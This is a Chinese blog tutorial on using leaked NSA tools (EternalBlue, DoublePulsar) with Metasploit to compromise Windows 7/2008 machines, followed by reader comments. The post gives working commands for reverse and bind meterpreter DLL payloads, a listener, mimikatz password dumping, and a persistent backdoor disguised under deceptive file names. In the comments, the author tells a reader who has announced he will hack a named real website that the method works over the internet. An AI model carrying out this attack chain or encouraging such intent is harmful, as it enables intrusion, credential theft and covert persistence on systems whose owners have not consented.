登录
  • 人们都希望被别人需要 却往往事与愿违
  • 优秀软件的作用是让复杂的东西看起来简单@Grady Booch (UML创始人之一)

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

脚本小子 Benny小土豆 12368次浏览 4144字 22个评论
文章目录[显示]
这篇文章在 2018年02月03日14:11:36 更新了哦~

警告:
本文仅供实验性研究,请勿用于非法用途,出啥事我不负责。真的!别算我头上,我胆小害怕。
好吧,如果这免责声明能管用的话……

有个歪果仁写了一系列文章,蛮详细的,如果有兴趣的话可以戳去读一读吧:From git clone to Pwned - Owning Windows with DoublePulsar and EternalBlue 

目前,某些特定版本的Windows 10也可以了,可以参见这个PR https://github.com/rapid7/metasploit-framework/pull/9473

介绍

几个星期之前Shadow Broker把NSA的黑客工具偷出来并公布了,据说这些工具非常强大,一个小毛孩都能拿着这些黑掉大半个瘟斗士……嗯,今天我这小毛孩跟你们说下,确实如此好吧。

本文我们将会集中讨论在Windows上使用EternalBlue来渗透Windows 7/2008,然后使用插件Doublepulsar来注入dll。咱使用的工具是NSA的"metasploit",名为"FuzzBunch"

为啥选择EternalBlue

在NSA泄露的那对工具之中,EternalBlue是唯一一个能够攻击Windows 7和Windows Server 2008、并且不需要任何认证信息的工具;在expliot成功之后,我们使用Doublepulsar将我们制作的恶意dll注入系统进程中,从而拿到shell

概念解释

exploit:就是用来触发漏洞的程序

payload:就是触发漏洞之后执行的代码。如果exploit是火药的话,payload就是(具有杀伤力的)弹头

framework:为了方便使用、测试、研究,人们把这么一大堆东西放到一起做成一个"框架",咱可以在这一个框架里完成exploit、payload等操作,不用来回切换,嗯粗略理解就是个这么玩意。

准备实验环境

我们需要准备三台电脑,好吧,其实虚拟机就够了(记得设置成桥接)。并且这三台电脑要在同一局域网下,也就意味着能够互相ping通

目标机、靶机: Windows 7 x64 SP1:172.26.99.211

Windows 7、Windows server 2008在此作为我们的靶机,也就是受害者。我们啥也不需要知道,只要有个IP、能够ping通就好了。

感谢我室友那英勇就义的电脑啊!

攻击机1 FuzzBunch(主要):Windows XP SP3:172.26.97.206

我们用XP来运行FuzzBunch。我猜没人想用wine吧?为啥用xp呢?xp比较小,在虚拟机中安装速度比较快,省时间,省硬盘,嗯……

攻击机2 Metasploit(次要):Kali Linux :172.26.96.152

任何一个Linux发行版都可以,只要能够运行metasploit即可;如果实在不会用Linux,在Windows下使用metasploit也算可以吧。

metasploit地址戳我

准备工作

正常来说,咱在做坏事之前,必然要先做一些搜集信息的工作,最常用的工具就是nmap啦!

咱使用nmap 来探测目标的信息,发现445简直就是福利。使用参数-O代表探测操作系统,-A代表all。

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

Target is all set, blow it! :wink: 

配置FuzzBunch

FuzzBunch需要Python2.6、旧版本的PyWin32

Python2.6:https://www.python.org/download/releases/2.6/(记得加到环境变量里)

PyWin32 v2.12:https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/

当然还有这套工具了:https://github.com/misterch0c/shadowbroker

咱把这些东西都准备妥当了,然后编辑windows/fb.py,注释72行

大概就是如图所示:

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

之后再改FuzzBunch.xml,19和24行改成和你XP上一样的正确的路径。[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

之后我们切到对应的目录中,然后执行python fb.py,当当当!

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

默认的目标IP,就写我们的Windows 7咯,也就是172.26.99.211,下一个callback IP,就是XP的IP,然后Redirection输入no;

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

下一步,fz让我们给起个名字,由于我已经运行过了,所以就选择create a new project啦

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

使用EternalBlue攻击目标

第一步,咱要用EternalBlue来exploit目标,使用方法类似metasploit

use EternalBlue

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

啥都不管一直按回车使用默认值,除了在mode的时候选择2:FB

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

最后EternalBlue会问我们是否执行?直接回车吧。

如果不出意外的话,就应该成功了嗯……

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

当然要是出意外了,可能就会提示fail,咱要么execute再运行一下,要么就是目标机蓝屏啥了……嗯反正多试试吧。

制作恶意dll

NSA的这堆exploit是很强大,但是payload感觉好像就弱了一些,像Doublepulsar能够注入dll、shellcode,好像没有metasploit那么强大哎?

没关系,咱用metasploit生成一个dll,交给Doublepulsar注入就好了。

在生成dll之前,咱首先要学习下metasploit中的meterpreter的几种类型:

meterpreter就是一个跨平台的shell,功能很强大,嘿嘿嘿。通常来说meterpreter有这么两种模式:正向和反向

bind:攻击者连接目标机器的模式,通常比较适合内网渗透,有时会被防火墙拦下

reverse:目标机连接攻击者的模式,基本上不会被防火墙阻拦。估计岁数大的小盆友们可能知道灰鸽子?这玩意就是反弹到攻击者的啦。

当然,这俩还能够细分为tcp、http、https,区别是啥,自己看帮助去!

这里咱就创建一个reverse_tcp啦。

需要注意的是,Doublepulsar要求比较多,64位的系统必须用64位的dll,32位的当然只能用32位的了,所以别搞错了。

咱直接打开终端,输入如下命令:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.26.96.152 LPORT=8089 -f dll >reverse.dll

其中LHOST代表kali的IP地址,LPORT代表本地监听的地址(因为要反弹嘛),生成的文件名字为reverse.dll

我们只要简单的把这个dll拷贝到xp中即可。哎,咋拷贝最方便呢?没装虚拟机的辅助工具?没关系,在dll的存放目录下来一句python –m SimpleHTTPServer 80

拿起XP里久违的IE6,访问kali的IP然后下载那个dll就好了嘛。

然后咱就让metasploit开启监听吧!

set PAYLOAD windows/x64/meterpreter/reverse_tcp
use exploit/multi/handler
set lhost 172.26.96.152
set LPORT 8089
run

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

附录:
生成bind模式的meterpreter

#32位
msfvenom -p windows/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 -f dll >x86bind.dll
#64位
msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=10.1.1.71 LPORT=8089 -f dll >x64bind.dll

RHOST为目标机的IP、LPORT为目标机开的端口号

使用Doublepulsar注入我们的恶意dll

use DoublePulsa

老样子,一路回车,除了Architecture选择x64,Function选RunDLL,然后输入DLL路径。

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

如果运气好的话,嘿嘿嘿……

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

之后该做什么呢

获取管理员密码

当然第一步是吧管理员密码搞出来了,怎么办呢?很简单啦其实

load mimikatz
wdigest

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

哎这兄弟有我这样的室友真是悲剧啊……

植入持久后门

万一目标重启了,咱就要重新exploit、植入dll(因为这玩意是跑在内存里的),多不方便,所以不如咱植入个持久后门嘛,当然,咱要先交叉编译一个后门……

嗯其实就是,自己看着来,大概就是:

msfpc windows 172.26.99.211 443 bind verbose

[ShadowBroker]1:NSA工具集EternalBlue + Doublepulsar + meterpreter渗透Windows 7/2008,兼谈Windows Server 2003中文版渗透

之后meterpreter里来这么一句

run post/windows/manage/persistence_exe REXENAME=cmd.exe REXEPATH=/root/backdoor/miao.exe STARTUP=USER

其中REXENAME是拷贝到目标系统中的名字,咱取个比较有迷惑性的,比如说exp1orer.exe啦(注意是1不是l),cmd.exe啦,httpd.exe啦等等吧;REXEPATH是后门在本地的位置,STARTUP有USER、SYSTEM、SERVICE这三种取值。看参数就知道是啥意思了。

最后的话

反正我们是啥都没要,一个IP就成功的黑了进去。颇有当年ms08-067的风范。

可怕的地方就是,看文件的时间戳,NSA在2011年就有了EternalBlue……你再看这文件名Eternal永远的永恒的……

等等……标题里还说了要黑Windows Server 2003不是?可是metasploit里的那个不支持中文版的Windows Server 2003啊……所以,要么咱用修改版的ms08-067,要么用NSA的那个。

修改版的ms-08-067戳我,来源戳我,地址与使用方法戳章鱼猫
开源萌萌哒章鱼猫

参考资料:

exploit db论文: How to Exploit ETERNALBLUE and DOUBLEPULSAR on Windows 7/2008


文章版权归原作者所有丨本站默认采用CC-BY-NC-SA 4.0协议进行授权|
转载必须包含本声明,并以超链接形式注明原作者和本文原始地址:
https://www.bennythink.com/shadowbroker.html
喜欢 (10)
分享:-)
Benny小土豆
关于作者:
If you have any further questions, feel free to contact me in English or Chinese.
发表我的评论(代码和日志请使用Pastebin或Gist)
取消评论

                     

去你妹的实名制!

  • 昵称 (必填)
  • 邮箱 (必填,不要邮件提醒可以随便写)
  • 网址 (选填)
(22)个小伙伴在吐槽
  1. keyerror globals 运行python fb.py 这是什么意思
    好的好的2018-08-11 14:38 回复
    • Benny小土豆
      确定用的是Python 2.6?
      Benny小土豆2018-08-12 15:06 回复
  2. python 2.6 x64 已安装Pywin32v2.12,报错 Traceback (most recent call last): File "fb.py", line 37, in <module> from fuzzbunch.edfplugin import EDFPlugin File "F:\EQGRP_Lost_in_Translation-master\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\edfplugin.py", line 7, in <module> from plugin import Plugin File "F:\EQGRP_Lost_in_Translation-master\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\plugin.py", line 8, in <module> import truantchild File "F:\EQGRP_Lost_in_Translation-master\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\truantchild.py", line 8, in <module> import exma File "F:\EQGRP_Lost_in_Translation-master\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\exma.py", line 17, in <module> _libraries['exma.dll'] = ctypes.CDLL('exma-1.dll') File "E:\CSD 寄存文件\Program Files\Python 2.6\Lib\ctypes__init__.py", line 353, in init self._handle = _dlopen(self._name, mode) WindowsError: [Error 193] %1 不是有效的 Win32
    ZZY2018-08-01 19:09 回复
    • Benny小土豆
      试试32位版本的Python 2.6
      Benny小土豆2018-08-02 09:00 回复
      • 很抱歉,没用代码版,换了32位派森阔以了,谢谢
        ZZY2018-08-02 16:03 回复
  3. 老哥,问下这种方法在互联网上是否能用,是否仅限于局域网(好吧我知道NSA的东西牛逼的很)。(我不搞事,真的/滑稽,我就是想去把www.minghui.org搞了)(某海外法轮功网站)(我有VPN)
    CSD Zh-cn2018-07-26 18:14 回复
    • Benny小土豆
      可以
      Benny小土豆2018-07-26 19:26 回复
      • 谢老哥,本宝宝要去黑www.minghui.org了
        CSD Zh-cn2018-07-27 11:56 回复
  4. 呃老哥,你把mimikazi和mimikatz拼错了!!! :sad:
    西红柿2017-07-27 17:37 回复
    • Benny小土豆
      感谢指出笔误,已更正
      Benny小土豆2017-07-27 17:42 回复
  5. 请问kali里面远程mimikazi是怎么做的?
    西红柿2017-07-27 17:36 回复
    • Benny小土豆
      load mimikatz
      wdigest 
      
      Benny小土豆2017-07-27 17:42 回复
  6. 才知道小土豆对骇客之道也是那么的精通……
    TJM2017-04-30 20:52 回复
    • Benny小土豆
      毛啊??就是看着歪果仁的论文,稍微变通下而已
      Benny小土豆2017-04-30 20:53 回复
  7. 骇客修炼之路的开端??
    ホロ2017-04-23 09:53 回复
    • Benny小土豆
      Script kiddo??
      Benny小土豆2017-04-23 10:09 回复
  8. 哎这兄弟有我这样的室友真是悲剧啊 ---土豆你要感谢舍友的不杀之恩! :idea:
    萌萌哒学长2017-04-22 23:29 回复
    • Benny小土豆
      不要告诉他,我害怕?
      Benny小土豆2017-04-22 23:43 回复
      • 舍友是什么可以吃么??
        ホロ2017-04-23 09:57 回复
        • Benny小土豆
          可以吃,驴肉味儿!
          Benny小土豆2017-04-23 10:08